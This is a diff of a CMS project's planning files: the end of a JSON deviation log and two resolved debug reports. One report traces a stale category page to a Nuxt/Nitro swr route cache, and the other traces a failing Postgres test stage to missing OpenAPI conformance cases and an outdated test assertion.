||||
"milestone": "v1.0"
|
||||
},
|
||||
{
|
||||
"id": 23,
|
||||
"kind": "deviation",
|
||||
"phase": "19.1",
|
||||
"file": "classes/lifecycle.go",
|
||||
"line": null,
|
||||
"description": "Task 4 methods besides DeleteContext live in classes/lifecycle.go",
|
||||
"status": "open",
|
||||
"reason": "",
|
||||
"recorded_at": "2026-10-18T13:42:55.096Z",
|
||||
"resolved_at": null,
|
||||
"milestone": "v1.0"
|
||||
},
|
||||
{
|
||||
"id": 24,
|
||||
"kind": "deviation",
|
||||
"phase": "19.7",
|
||||
"file": "modules/cabana",
|
||||
"line": null,
|
||||
"description": "19.7-01: capabilities_test field-count assertion updated 2->3 for AdminRecordActionInput.Value",
|
||||
"status": "open",
|
||||
"reason": "",
|
||||
"recorded_at": "2026-10-22T14:44:56.001Z",
|
||||
"resolved_at": null,
|
||||
"milestone": "v1.0"
|
||||
},
|
||||
{
|
||||
"id": 25,
|
||||
"kind": "deviation",
|
||||
"phase": "19.7",
|
||||
"file": "modules/cabana",
|
||||
"line": null,
|
||||
"description": "19.7-01: admin route inventories (phase09Routes, tokenRouteClasses, CSRF walk 35, phase10 want list, conformCases) extended for the two account contribution routes",
|
||||
"status": "open",
|
||||
"reason": "",
|
||||
"recorded_at": "2026-10-22T14:44:56.218Z",
|
||||
"resolved_at": null,
|
||||
"milestone": "v1.0"
|
||||
},
|
||||
{
|
||||
"id": 26,
|
||||
"kind": "deviation",
|
||||
"phase": "19.7",
|
||||
"file": "modules/cabana",
|
||||
"line": null,
|
||||
"description": "19.7-01: TestRecordActionPromptRun added on Postgres to prove Run receives the trimmed prompt value",
|
||||
"status": "open",
|
||||
"reason": "",
|
||||
"recorded_at": "2026-10-22T14:44:56.449Z",
|
||||
"resolved_at": null,
|
||||
"milestone": "v1.0"
|
||||
},
|
||||
{
|
||||
"id": 27,
|
||||
"kind": "unrun-verify",
|
||||
"phase": "19.7",
|
||||
"file": "scripts/check-phase19.6.1.sh",
|
||||
"line": null,
|
||||
"description": "19.7-01: check-phase19.6.1.sh --all stopped by the host (memory pressure) after the cabana and surf Postgres suites passed; re-run on the Docker host",
|
||||
"status": "open",
|
||||
"reason": "",
|
||||
"recorded_at": "2026-10-22T14:44:56.679Z",
|
||||
"resolved_at": null,
|
||||
"milestone": "v1.0"
|
||||
}
|
||||
]
|
||||
````
|
||||
|
||||
122
.planning/debug/resolved/category-content-not-on-site.md
Normal file
122
.planning/debug/resolved/category-content-not-on-site.md
Normal file
@@ -0,0 +1,122 @@
|
||||
---
|
||||
status: resolved
|
||||
trigger: "UAT gap G-16.2-2: Updated content in https://uat.grzybyfunkcjonalne.pl/gfadmin/golem15/journal/categories/2 (\"Te grzyby, szczególnie\" changed into \"Te grzyby, a szczególnie\") and i see the change in backend even after refresh but not on frontend"
|
||||
created: 2026-10-10T17:20:00+02:00
|
||||
updated: 2026-10-10T20:05:00+02:00
|
||||
goal: find_root_cause_only
|
||||
---
|
||||
|
||||
## Current Focus
|
||||
|
||||
hypothesis: CONFIRMED (H3) — the host Nuxt app's Nitro swr route cache (`routeRules '/**': { swr: 300 }`) served /cordyceps rendered at 14:59:08 UTC, before the first save; every check the user made (14:59:52–15:00:30) was inside the 300 s fresh window, so Nitro returned that entry without revalidating, and nothing purges it on admin save. The save, the DB and the API are correct.
|
||||
test: done — DB SELECTs, API GET, two Nuxt GETs straddling a lazy revalidation, nginx access log timeline, deployed nitro.mjs cache code
|
||||
expecting: n/a
|
||||
next_action: return ROOT CAUSE FOUND (goal: find_root_cause_only); the gap is a cache-window/UAT-procedure issue, plus a product decision whether editors need instant visibility (purge on save)
|
||||
bug_class: Bohrbug (deterministic: any page view within maxAge of the last render returns the cached entry; the first view after expiry returns it too)
|
||||
reasoning_checkpoint:
|
||||
hypothesis: "The site showed the old text because Nitro's swr route cache for /** (maxAge 300 s, swr: true, in-memory) held a /cordyceps render from 14:59:08 UTC; all the user's post-save views (last at 15:00:30) were before that entry expired at 15:04:08, and Nitro only re-renders an entry when a request arrives after expiry (serving the stale copy to that request). No code path invalidates the entry when the admin saves."
|
||||
confirming_evidence:
|
||||
- "DB row 2 and GET /_journal/api/v1/categories return the new text with identical md5 4053158bd1a58eb7f9547c18cb5a1724"
|
||||
- "127.0.0.1:3016/cordyceps at 15:24:01: last-modified 14:59:08, old text; at 15:25:00: last-modified 15:24:01, new text"
|
||||
- "nginx access log: render 14:59:08, PUTs 14:59:48–15:00:27, user views 14:59:52–15:00:30 all 13269 bytes or 304, no further views until 15:23"
|
||||
- "deployed nitro.mjs: /** cache { swr: true, maxAge: 300 }; get() returns the unexpired entry without resolving and the expired entry stale-first"
|
||||
falsification_test: "If a /cordyceps GET more than 300 s after the save, followed by a second GET, still returned the old text, or the access log showed a user view after 15:04:08 that returned old content and a later one that also did, the hypothesis would be wrong. Observed: post-expiry GET pair returned old then new, exactly as predicted."
|
||||
fix_rationale: "Not applicable (diagnose only). Any fix must either shorten/bypass the cache for editors or invalidate the Nitro cache entry on save; changing the 16.2 save path cannot help, because the save is already correct."
|
||||
blind_spots: "I did not observe the user's browser directly (no client-side cache test), but the access log shows their requests reaching Nuxt and getting the cached body. The swr cache key for _payload.json follows the same rule and was not separately timed. I did not verify whether the 7 PUTs each changed content (only the final state matters)."
|
||||
candidate_causes:
|
||||
- "config: Nitro routeRules swr 300 s with no purge on save (CONFIRMED)"
|
||||
- "code: save writes a different column/locale than the API reads (ELIMINATED — one column, no translation rows)"
|
||||
- "code: Go API caches or returns a stale field (ELIMINATED — API md5 == DB md5)"
|
||||
- "environment: nginx proxy_cache (ELIMINATED — none; reproduced on 127.0.0.1:3016)"
|
||||
- "environment: broken swr revalidation (ELIMINATED — refresh observed at 15:24:01, no SWR errors logged)"
|
||||
- "data: phrase rendered from elsewhere (ELIMINATED — grep of app/layer/build/posts)"
|
||||
- "process: UAT step 'the site shows the change' omits the swr window (CONTRIBUTING)"
|
||||
and_gate: "yes — the visible failure needed the swr cache with no invalidation AND the user viewing the page only within the 300 s window of a render made just before the edit (their own 14:59:08 view). With either one absent (no cache, or a second view after 15:04:08) the change would have shown."
|
||||
|
||||
## Symptoms
|
||||
|
||||
expected: changing one word in a Journal category body in the admin and saving shows no removal notice, and the public site shows the change (Phase 16.2 D-19)
|
||||
actual: the save persisted (admin shows "Te grzyby, a szczególnie" after reload), no error reported, but the public Nuxt site still shows "Te grzyby, szczególnie"
|
||||
errors: none reported
|
||||
reproduction: UAT Test 2 — edit category 2 body at https://uat.grzybyfunkcjonalne.pl/gfadmin/golem15/journal/categories/2, save, view the public category page
|
||||
started: discovered during Phase 16.2 UAT, edit made ~2026-10-10 17:00 CEST
|
||||
|
||||
## Eliminated
|
||||
|
||||
- hypothesis: H1 — two columns or a translation row: the admin saves one column/locale and the site renders another that is not regenerated
|
||||
evidence: golem15_journal_categories has a single `content` column (no content_html); row 2 updated_at 2026-10-10 15:00:27.94 UTC holds "Te grzyby, a szczególnie" at char 589 and no old phrase; golem15_translate_attributes/indexes have no category rows (only 4 Post rows); en locale is disabled
|
||||
timestamp: 2026-10-10T15:22Z
|
||||
|
||||
- hypothesis: H2 — the public Journal API returns old content (server-side cache in Go, or a different field)
|
||||
evidence: GET http://127.0.0.1:8096/_journal/api/v1/categories?include_empty=1 on the UAT host at 15:24:13 UTC returns category 2 content with "Te grzyby, a szczeg" at 577, no old phrase, md5 4053158bd1a58eb7f9547c18cb5a1724 == DB md5(content); no cache headers
|
||||
timestamp: 2026-10-10T15:24Z
|
||||
|
||||
- hypothesis: H3 variant — the Nitro swr cache is broken (background revalidation errors or hangs, so the entry never refreshes)
|
||||
evidence: the first GET after expiry (15:24:01) triggered a refresh; the next GET (15:25:00) carried last-modified 15:24:01 and the new text; no `[cache] SWR handler error` in /var/log/supervisor/grzybyfunkcjonalne-nuxt.log
|
||||
timestamp: 2026-10-10T15:25Z
|
||||
|
||||
- hypothesis: H3 variant — an nginx proxy cache serves stale pages
|
||||
evidence: sites-enabled/uat.grzybyfunkcjonalne.pl has no proxy_cache; the stale page reproduced against 127.0.0.1:3016 directly (bypassing nginx)
|
||||
timestamp: 2026-10-10T15:24Z
|
||||
|
||||
- hypothesis: H4 — the old text is rendered from somewhere else (hardcoded, another category, a post excerpt)
|
||||
evidence: no match for the old phrase in the app, the layer, the deployed .output or any post column; it was only in category 2 content, and the refreshed render shows the new phrase
|
||||
timestamp: 2026-10-10T15:29Z
|
||||
|
||||
## Evidence
|
||||
|
||||
- timestamp: 2026-10-10T15:22Z
|
||||
checked: UAT DB, SELECT on golem15_journal_categories (all rows) and golem15_translate_* for category model types
|
||||
found: category 2 (cordyceps) content md5 4053158bd1a58eb7f9547c18cb5a1724, length 13903, updated_at 15:00:27.940875 UTC, new phrase present, old phrase absent; no translation rows for categories
|
||||
implication: the save persisted the edit in the only column the API reads; the stale copy is downstream of the DB
|
||||
|
||||
- timestamp: 2026-10-10T15:23Z
|
||||
checked: nginx site uat.grzybyfunkcjonalne.pl (sites-enabled) and the host Nuxt app nuxt.config.ts
|
||||
found: nginx has no proxy_cache; `/` proxies to Nuxt on 127.0.0.1:3016. nuxt.config.ts routeRules `'/**': { swr: 300 }, '/blog/**': { swr: 120 }` (Nitro route cache on the Node server); category pages are at `/:category` (so /cordyceps falls under `/**` swr 300)
|
||||
implication: Nitro's swr route cache is the only HTTP cache between the API and the browser
|
||||
|
||||
- timestamp: 2026-10-10T15:24Z
|
||||
checked: curl -D - http://127.0.0.1:3016/cordyceps on the UAT host (bypasses nginx/basic auth)
|
||||
found: 200, `last-modified: Sat, 10 Oct 2026 14:59:08 GMT`, `cache-control: s-maxage=300, stale-while-revalidate`, body contains the OLD "Te grzyby, szczególnie Cordyceps sine"
|
||||
implication: Nuxt serves a page rendered 79 s BEFORE the save, 25 min after it — far past the 300 s swr TTL. The cache entry is not being refreshed (H3 territory), or a refresh re-renders from stale data
|
||||
|
||||
- timestamp: 2026-10-10T15:24Z
|
||||
checked: vue-journal-layer app/journal-pages/CategoryPage.vue, app/utils/client.ts, app/composables/useJournalApi.ts and the host override sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/composables/useJournalApi.ts
|
||||
found: the category page resolves the slug via GET /categories?include_empty=1 and renders found.content through sanitizeJournalHtml; the server fetcher is a plain $fetch to runtimeConfig.journal.apiBase with no cachedFunction/useStorage/getCachedData
|
||||
implication: no data-level cache in the layer or app; the only cache is the Nitro route (swr) cache around the page renderer
|
||||
|
||||
- timestamp: 2026-10-10T15:25Z
|
||||
checked: second curl of http://127.0.0.1:3016/cordyceps on the UAT host, 59 s after the 15:24:01 request (also /, /blog, /lions-mane)
|
||||
found: /cordyceps now `last-modified: Sat, 10 Oct 2026 15:24:01 GMT` and the body contains the NEW "Te grzyby, a szczególnie"; /lions-mane last-modified 12:40:55, / 14:37:04, /blog 12:40:53 (entries only move when visited after expiry)
|
||||
implication: revalidation works; it is lazy. My 15:24:01 GET (first request after expiry) was served the stale page and triggered the background re-render; the next request got the fresh page. Nothing was broken in the render/refresh path at 15:24
|
||||
|
||||
- timestamp: 2026-10-10T15:26Z
|
||||
checked: nginx access log /var/log/nginx/grzybyfunkcjonalne-uat-access.log, 14:00–15:25 UTC, requests to /cordyceps and the categories admin API
|
||||
found: 14:59:08 GET /cordyceps 200 13320 (the user's pre-edit view; cache entry mtime = 14:59:08, fresh until 15:04:08). PUT /gfadmin/api/v1/golem15/journal/categories/2 x7 at 14:59:48, 14:59:57, 15:00:06, 15:00:13, 15:00:16, 15:00:23, 15:00:27 (all 200). GET /cordyceps at 14:59:52, 14:59:53 (304), 14:59:54 (304), 14:59:55 (304), 15:00:00 x2, 15:00:07–15:00:09 x6, 15:00:30 — every one 200 13269 or 304 (same etag). No /cordyceps request between 15:00:30 and my 15:23:42 one
|
||||
implication: every page view the user made after saving fell inside the 300 s fresh window of the entry rendered at 14:59:08, so Nitro returned it without even scheduling a revalidation; identical 13269-byte bodies and 304s confirm one cached entry was served throughout
|
||||
|
||||
- timestamp: 2026-10-10T15:27Z
|
||||
checked: deployed /srv/grzybyfunkcjonalne/nuxt/.output/server/chunks/nitro/nitro.mjs (defineCachedFunction get(), routeRules, storage mounts)
|
||||
found: routeRules `/**` → `cache: { swr: true, maxAge: 300 }`, `/blog/**` → maxAge 120. get(): `expired = ... ttl && Date.now() - entry.mtime > ttl`; not expired → returns the entry, no resolve; expired + swr → returns the stale entry and re-renders in the background (event.waitUntil). Cache storage is the root in-memory driver (only `data` is mounted to fsLite). Nuxt log has no `[cache] SWR handler error`
|
||||
implication: the observed behaviour is exactly Nitro swr semantics: an edit becomes visible only after the TTL has expired AND one request has triggered the re-render, i.e. on the second visit after expiry; worst case is unbounded in wall time for a page nobody visits, best case is ~300 s + one throwaway load
|
||||
|
||||
- timestamp: 2026-10-10T15:28Z
|
||||
checked: grep for purge/revalidate/invalidate/swr in sm-journal-plugin, vue-journal-layer, sm-grzybyfunkcjonalne-app; planning docs (16-CONTEXT D-07, DEPLOY.md, host README, 16.2-VERIFICATION)
|
||||
found: no cache purge or invalidation hook anywhere (Go save path does not notify Nuxt; Nuxt exposes no purge route). Phase 16 D-07 chose swr deliberately ("a newly published post shows up without a rebuild"), TTLs were Claude's discretion; host README: "a newly published post appears within the TTL"; DEPLOY.md: "The Nuxt page caches (swr) expire by themselves." 16.2-VERIFICATION human item (line 39/211) and the UAT step say "the site shows the change" with no mention of the cache window
|
||||
implication: the staleness is designed behaviour of the Phase 16 host app, not a 16.2 regression; the UAT step omitted the wait, and there is no editor-facing way to see an edit immediately
|
||||
|
||||
- timestamp: 2026-10-10T15:29Z
|
||||
checked: grep for "Te grzyby, szczeg" in the host app (app/, i18n/), vue-journal-layer (app/, i18n/), the deployed Nuxt .output, and golem15_journal_posts content/content_html/excerpt
|
||||
found: no matches anywhere; the phrase exists only in category 2 content (now edited)
|
||||
implication: H4 eliminated — the old text on the site came from the category content in the cached render
|
||||
|
||||
## Resolution
|
||||
|
||||
root_cause: "Not a 16.2 save defect. The save, the DB row and the Journal API all carry the edit. The host app's Nitro swr route cache (vue-grzybyfunkcjonalne-app nuxt.config.ts routeRules '/**': { swr: 300 }, deployed as cache { swr: true, maxAge: 300 }, in-memory) served /cordyceps rendered at 14:59:08 UTC. That render came from the user's own pre-edit view, 40 s before the first PUT (14:59:48). Every post-save view (14:59:52 to 15:00:30) fell inside the entry's 300 s fresh window (to 15:04:08), and Nitro returns an unexpired entry without revalidating. Nothing invalidates the entry on admin save: there is no purge hook in sm-journal-plugin, vue-journal-layer or the host app. After expiry, the first view still gets the stale copy and triggers the re-render, so an edit shows only on the second view more than 300 s after the last render. Contributing: the 16.2 UAT/VERIFICATION step 'the site shows the change' does not account for the Phase 16 D-07 swr window."
|
||||
fix: (not applied — goal find_root_cause_only)
|
||||
verification: "Observed self-healing without any write: 127.0.0.1:3016/cordyceps returned the old text at 15:24:01 UTC (last-modified 14:59:08) and the new 'Te grzyby, a szczególnie' at 15:25:00 (last-modified 15:24:01)"
|
||||
files_changed: []
|
||||
|
||||
## Resolution
|
||||
|
||||
Fixed by plan 16.2-07 (released as summercms v0.1.20 and vue-journal-layer v0.3.0) and confirmed on UAT on 2026-10-10. See 16.2-07-SUMMARY.md.
|
||||
@@ -0,0 +1,156 @@
|
||||
---
|
||||
status: resolved
|
||||
trigger: "UAT gap G-16.2-1: bash scripts/check-phase16.2.sh postgres fails in ./modules/cabana: TestPhase10OpenAPIConformance: openapi_conformance_test.go:418: admin route GET /field-types has no conformance case"
|
||||
created: 2026-10-10T17:10:00+02:00
|
||||
updated: 2026-10-10T20:05:00+02:00
|
||||
goal: find_root_cause_only
|
||||
---
|
||||
|
||||
## Current Focus
|
||||
|
||||
hypothesis: CONFIRMED — the postgres stage is red for two code defects, both written in 16.2 and both hidden because the checks only run in Docker-only test binaries that never ran before UAT: (1) two 16.2 admin routes have no conformCase in TestPhase10OpenAPIConformance; (2) sm-journal-plugin TestJournalSVGEmbed still asserts post content `type: mlmarkdown` after 16.2-03 changed it to `mlblogeditor`.
|
||||
test: done — static diff, 3x direct repro, full cabana and Journal postgres-stage runs on this Docker host
|
||||
expecting: n/a
|
||||
next_action: return ROOT CAUSE FOUND (goal: find_root_cause_only); plan-phase --gaps owns the fix
|
||||
bug_class: Bohrbug (deterministic; Go map iteration only changes WHICH of the two missing keys line 418 reports first)
|
||||
reasoning_checkpoint:
|
||||
hypothesis: "TestPhase10OpenAPIConformance fails because cabana.AdminAPIRoutes() (phase09Routes non-spa keys) has 56 entries and the conformCase list 54: GET /field-types and POST /{vendor}/{plugin}/{controller}/{id}/fields/{field}/upload, both added to the inventory in 16.2-01, have no case; once fixed, the same stage fails next on TestJournalSVGEmbed because it asserts `type: mlmarkdown` in models/post/fields.yaml, which 16.2-03 replaced with `type: mlblogeditor`."
|
||||
confirming_evidence:
|
||||
- "static diff of security_coverage_test.go phase09Routes vs conformCase keys: uncovered = [GET /field-types, POST .../fields/{field}/upload]; not-inventoried = []"
|
||||
- "go test -count=3 -run '^TestPhase10OpenAPIConformance$' ./modules/cabana: FAIL 3/3, line 418 reports upload, field-types, upload"
|
||||
- "Journal `go test -json -count=1 ./...` on this Docker host: only failure is TestJournalSVGEmbed, plugin_test.go:123 'post fields.yaml content is not mlmarkdown'; fields.yaml line 19 is `type: mlblogeditor` since fbd1c85"
|
||||
- "cabana with -skip TestPhase10OpenAPIConformance: package PASS, 291 top-level tests, TestFieldTypeSavePostgres and TestListRelationSearchPostgres PASS with real Postgres queries in the output"
|
||||
falsification_test: "If adding conformCases for exactly those two keys (and fixing the mlmarkdown assertion) still left the postgres stage red, or if the inventory/case diff showed a third key, the hypothesis would be incomplete."
|
||||
fix_rationale: "Adding the two cases satisfies the exhaustiveness invariant and checks the real responses against admin.json (FieldTypesResponse, Envelope-cabana_FieldUploadResponse); updating the stale Journal assertion aligns it with the intended 16.2 field type. Separating the static inventory check from the Docker setup closes the masking path."
|
||||
blind_spots: "The conformance cases themselves have not been written, so it is unverified that the fixture-backed responses decode cleanly with DisallowUnknownFields (e.g. FieldTypesResponse meta is `{}` from WriteData, which decodes into SuccessMeta; the upload case needs a conform plugin field type with Upload). Admin/editor/layer/docs stages were not re-run in this session."
|
||||
candidate_causes:
|
||||
- "code: missing conformCase entries for the two 16.2 routes (CONFIRMED)"
|
||||
- "code: stale TestJournalSVGEmbed assertion vs the intended mlblogeditor change (CONFIRMED)"
|
||||
- "environment: no Docker on the 16.2 execution host, so every testcontainers binary failed on docker.sock and was waved through as 'Docker-only' (CONFIRMED contributing)"
|
||||
- "config/process: gate go stage FRAMEWORK_RUN omits TestPhase10OpenAPIConformance; the static inventory check runs after newConformEnv -> adminGorm; 16.2-01 PLAN/PATTERNS name phase09Routes + admin_openapi.go but not openapi_conformance_test.go (CONFIRMED contributing)"
|
||||
- "data/environment: container start failure or flaky Postgres (ELIMINATED — containers start, 291 cabana + 66 Journal top-level tests pass)"
|
||||
and_gate: "yes — the UAT failure needed the code defects AND the masking (static checks reachable only through testcontainers, no Docker during execution, go stage regex omits the test). Either code defect alone turns the stage red; the masking is why neither was caught before UAT."
|
||||
|
||||
## Symptoms
|
||||
|
||||
expected: `bash scripts/check-phase16.2.sh postgres` passes on a Docker host (cabana testcontainers suites incl. TestFieldTypeSavePostgres; Journal admin harness in ../sm-journal-plugin incl. TestPostsAdminResaveKeepsHTML, TestPostsAdminSaveSanitizesHTML, TestCategoriesAdminContent, TestCategoriesAdminBlogEditor)
|
||||
actual: run 2026-10-10 16:57 CEST on a Docker host, the stage fails in ./modules/cabana: `--- FAIL: TestPhase10OpenAPIConformance` — `openapi_conformance_test.go:418: admin route GET /field-types has no conformance case`. The script stops there; the Journal Postgres suites never ran.
|
||||
errors: openapi_conformance_test.go:418: admin route GET /field-types has no conformance case
|
||||
reproduction: bash scripts/check-phase16.2.sh postgres (UAT Test 1)
|
||||
started: Phase 16.2 (GET /field-types added in 16.2; discovered during UAT)
|
||||
|
||||
## Eliminated
|
||||
|
||||
- hypothesis: the postgres stage fails because of Docker/testcontainers environment problems (container start, timeouts)
|
||||
evidence: in the UAT log the cabana package ran 90s and only TestPhase10OpenAPIConformance failed; in this session cabana (skip conformance) passed 291 top-level tests in 77s and the Journal run passed every package but root, with real SQL in the logs
|
||||
timestamp: 2026-10-10T17:21:00+02:00
|
||||
|
||||
- hypothesis: only GET /field-types is missing a conformance case
|
||||
evidence: the inventory/case diff shows POST /{vendor}/{plugin}/{controller}/{id}/fields/{field}/upload is uncovered too; `go test -count=3` reported the upload key in runs 1 and 3 and field-types in run 2
|
||||
timestamp: 2026-10-10T17:24:00+02:00
|
||||
|
||||
- hypothesis: the gap in the Journal suites is limited to the cabana abort (they would pass once cabana is green)
|
||||
evidence: running the Journal stage command directly fails on TestJournalSVGEmbed (stale mlmarkdown assertion), which is in PG_JOURNAL_REQUIRE
|
||||
timestamp: 2026-10-10T17:20:00+02:00
|
||||
|
||||
## Evidence
|
||||
|
||||
- timestamp: 2026-10-10T17:12:00+02:00
|
||||
checked: .planning/debug/knowledge-base.md (Phase 0)
|
||||
found: no knowledge base file exists; no prior pattern to test
|
||||
implication: open-ended investigation
|
||||
|
||||
- timestamp: 2026-10-10T17:13:00+02:00
|
||||
checked: scratchpad/pg.log (UAT run of the postgres stage)
|
||||
found: detect_go reports failed only "modules/cabana TestPhase10OpenAPIConformance" plus the package; openapi_conformance_test.go:418 "admin route GET /field-types has no conformance case"; package took 90s (containers started fine)
|
||||
implication: the only failing cabana test in that run was the conformance test; run_postgres aborts (set -e) before the Journal go_json call
|
||||
|
||||
- timestamp: 2026-10-10T17:15:00+02:00
|
||||
checked: modules/cabana/openapi_conformance_test.go:129-450
|
||||
found: TestPhase10OpenAPIConformance calls newConformEnv(t) FIRST (line 130), then builds the conformCase list, then requires covered == inventory where inventory = cabana.AdminAPIRoutes() (export_test.go: every non-spa phase09Routes key). Missing key -> t.Fatalf at line 418 inside a `for key := range inventory` map loop (random order, so only the first missing key found is reported).
|
||||
implication: the exhaustiveness check is purely static but cannot run without a Postgres container
|
||||
|
||||
- timestamp: 2026-10-10T17:16:00+02:00
|
||||
checked: modules/cabana/auth_test.go:321-365 adminGorm
|
||||
found: testing.Short() -> t.Skip; otherwise testcontainers postgres:16-alpine; a container error -> t.Fatalf("postgres: %v")
|
||||
implication: on a host without Docker the conformance test fails at setup with a docker.sock error, masking the inventory check
|
||||
|
||||
- timestamp: 2026-10-10T17:17:00+02:00
|
||||
checked: grep of conformCase keys vs modules/cabana/security_coverage_test.go phase09Routes
|
||||
found: TWO inventoried non-spa routes have no conformCase: "GET /field-types" (inventory line 46) and "POST /{vendor}/{plugin}/{controller}/{id}/fields/{field}/upload" (inventory line 92). `grep 'fields/{field}/upload\|/field-types' openapi_conformance_test.go` -> no match.
|
||||
implication: fixing only GET /field-types would leave the test failing on the upload route next
|
||||
|
||||
- timestamp: 2026-10-10T17:18:00+02:00
|
||||
checked: git log -S on security_coverage_test.go and git log of openapi_conformance_test.go
|
||||
found: GET /field-types entered the inventory in 717d46e (feat(16.2-01) compile, decode and load plugin field types), the upload route in 8fa92db (feat(16.2-01) ... uploads). openapi_conformance_test.go was last touched by 64d21c8/143eca5 (My account), b492e79 (markdown preview) — earlier route additions did add a conformCase in the same change; 16.2 did not.
|
||||
implication: a convention ("new admin route => conformCase") that held before 16.2 was missed in 16.2-01
|
||||
|
||||
- timestamp: 2026-10-10T17:19:00+02:00
|
||||
checked: .planning/phases/16.2-*/ SUMMARY and VERIFICATION docs
|
||||
found: no 16.2 plan mentions TestPhase10OpenAPIConformance; 16.2-01/03/05/06 SUMMARYs record "No Docker on this host (docker.sock permission denied)" and "the only failures ... are the testcontainers suites failing on docker.sock" — cabana is in that list. VERIFICATION marks the postgres stage "? SKIP (human item 1)".
|
||||
implication: the conformance failure was hidden inside the blanket "Docker-only failure" bucket; nobody ran cabana's testcontainers suites before UAT
|
||||
|
||||
- timestamp: 2026-10-10T17:20:00+02:00
|
||||
checked: scripts/check-phase16.2.sh go stage
|
||||
found: FRAMEWORK_RUN regex lists TestPhase09ContractInventory and TestPhase09PermissionMatrix (static, both pass: they compare the mount with phase09Routes and admin.json paths) but NOT TestPhase10OpenAPIConformance; the go stage runs with -run "$FRAMEWORK_RUN" so the conformance test never runs there. The postgres stage runs the whole ./modules/cabana package and is the only stage that reaches it.
|
||||
implication: no non-Docker gate covers the inventory-vs-conformance-case invariant
|
||||
|
||||
- timestamp: 2026-10-10T17:21:00+02:00
|
||||
checked: admin/openapi/admin.json for both routes; modules/cabana/admin_openapi.go:264-276; field_type.go:834-871; contracts.go:245
|
||||
found: GET /field-types 200 documents $ref cabana.FieldTypesResponse ({data: []cabana.FieldTypeAssets, meta: cabana.SuccessMeta}, all of name/element/translatable/scripts/styles required); the handler writes WriteData(200, []FieldTypeAssets, nil) => {"data":[...],"meta":{}}. POST .../fields/{field}/upload 201 documents cabana.Envelope-cabana_FieldUploadResponse ({data:{url}, meta}); multipart part named "file". conformPlugin (openapi_conformance_test.go:818-843) does NOT implement pact.HasFormFieldTypes and the gadget fields.yaml has no plugin-typed field.
|
||||
implication: a GET /field-types case can decode into cabana.FieldTypesResponse with ref "cabana.FieldTypesResponse" today (empty list); a meaningful case and any upload case need the conform fixture to register a plugin field type (with Upload, scripts) and a gadget field of that type
|
||||
|
||||
- timestamp: 2026-10-10T17:19:00+02:00
|
||||
checked: route registrations added since 16.1/16.2 started (git diff 1ef21b0~1..HEAD of non-test modules/**/*.go in summercms.go; c60abc6..HEAD of non-test *.go in sm-journal-plugin)
|
||||
found: summercms.go adds exactly two routes: g.Get("/field-types") and g.Post("/{vendor}/{plugin}/{controller}/{id}/fields/{field}/upload"). sm-journal-plugin adds none (editor uploads go through the cabana route).
|
||||
implication: the conformance gap is exactly those two routes; no other 16.2 route is missing a case
|
||||
|
||||
- timestamp: 2026-10-10T17:19:30+02:00
|
||||
checked: ran the Journal postgres-stage command exactly as run_postgres does (`go test -json -count=1 -timeout 20m ./...` in ../sm-journal-plugin, which go.work/replace points at ../summercms.go) on this Docker host
|
||||
found: packages classes, controllers, controllers/api, models, updates PASS; root package FAIL. Required tests: TestPostsFormCompiles PASS, TestPostsAdminCreateSmoke PASS, TestPostsAdminResaveKeepsHTML PASS, TestPostsAdminSaveSanitizesHTML PASS, TestCategoriesAdminContent PASS, TestCategoriesAdminBlogEditor PASS, TestJournalSVGEmbed FAIL — plugin_test.go:123 "post fields.yaml content is not mlmarkdown". 66 top-level tests passed, no skips, no "no tests to run".
|
||||
implication: a SECOND, independent failure is queued behind the cabana one; fixing only the conformance case still leaves the postgres stage red
|
||||
|
||||
- timestamp: 2026-10-10T17:20:00+02:00
|
||||
checked: sm-journal-plugin plugin_test.go:118-124, models/post/fields.yaml, git show fbd1c85 / 47f3032
|
||||
found: TestJournalSVGEmbed asserts strings.Contains(fields.yaml, "type: mlmarkdown") (a Phase 15 assertion). 16.2-03 commit fbd1c85 "feat(admin): post content on the Blog Editor field type" changed post content from `type: mlmarkdown` to `type: mlblogeditor` (+ htmlColumn, uploadFolder); no other post field is mlmarkdown. 47f3032 (16.2-02) extended the same test with bundle checks but did not touch the mlmarkdown assertion. The root package TestMain needs testcontainers, so the test never ran on the no-Docker 16.2 execution host (16.2-02-SUMMARY line 263/278/293).
|
||||
implication: stale assertion contradicting an intended 16.2 change; same masking mechanism (Docker-only suite never executed before UAT)
|
||||
|
||||
- timestamp: 2026-10-10T17:22:00+02:00
|
||||
checked: static diff (python over security_coverage_test.go phase09Routes and the conformCase literal keys)
|
||||
found: inventory non-spa 56, cases 54; uncovered = ['GET /field-types', 'POST /{vendor}/{plugin}/{controller}/{id}/fields/{field}/upload']; not inventoried = []
|
||||
implication: exactly two cases are missing
|
||||
|
||||
- timestamp: 2026-10-10T17:23:00+02:00
|
||||
checked: cabana run on this Docker host: `go test -json -count=1 -timeout 15m -skip '^TestPhase10OpenAPIConformance$' ./modules/cabana`
|
||||
found: package PASS (77s), 291 top-level tests passed, no fails, no skips, no "no tests to run". TestFieldTypeSavePostgres PASS (real SELECT ... FOR UPDATE on ft_notes in its output), TestListRelationSearchPostgres PASS, TestMLOpenAPIConformance PASS.
|
||||
implication: TestPhase10OpenAPIConformance is the only cabana failure in the postgres stage
|
||||
|
||||
- timestamp: 2026-10-10T17:24:00+02:00
|
||||
checked: `go test -count=3 -timeout 10m -run '^TestPhase10OpenAPIConformance$' ./modules/cabana`
|
||||
found: FAIL 3/3: run1 "POST /{vendor}/{plugin}/{controller}/{id}/fields/{field}/upload has no conformance case", run2 "GET /field-types has no conformance case", run3 upload again
|
||||
implication: deterministic failure; which key is named depends on map iteration order
|
||||
|
||||
- timestamp: 2026-10-10T17:25:00+02:00
|
||||
checked: 16.2-01-PLAN.md tasks 2/3 and 16.2-PATTERNS.md line 24/109
|
||||
found: both name admin_openapi.go + phase09Routes (+ check-admin-openapi.sh) as the places to register a new admin route; neither names openapi_conformance_test.go. Task automated verifies run only TestPhase09ContractInventory/TestPhase09PermissionMatrix (static), which pass.
|
||||
implication: the route-registration checklist given to the executor was incomplete — the third location of the invariant was not in it
|
||||
|
||||
- timestamp: 2026-10-10T17:26:00+02:00
|
||||
checked: compileFieldTypes (field_type.go ~160-190), conformPlugin, admin.json schemas
|
||||
found: a registered type needs an element under the plugin's widget tag prefix and, for scripts/styles, pact.AdminAssets with the files in AdminFS (conformPlugin already has AdminFS with js/css assets). FieldTypesResponse decodes {"data":[...],"meta":{}} (SuccessMeta all-omitempty). Upload 201 is Envelope-cabana_FieldUploadResponse with multipart part "file".
|
||||
implication: fix-direction constraints for the plan (see Resolution)
|
||||
|
||||
## Resolution
|
||||
|
||||
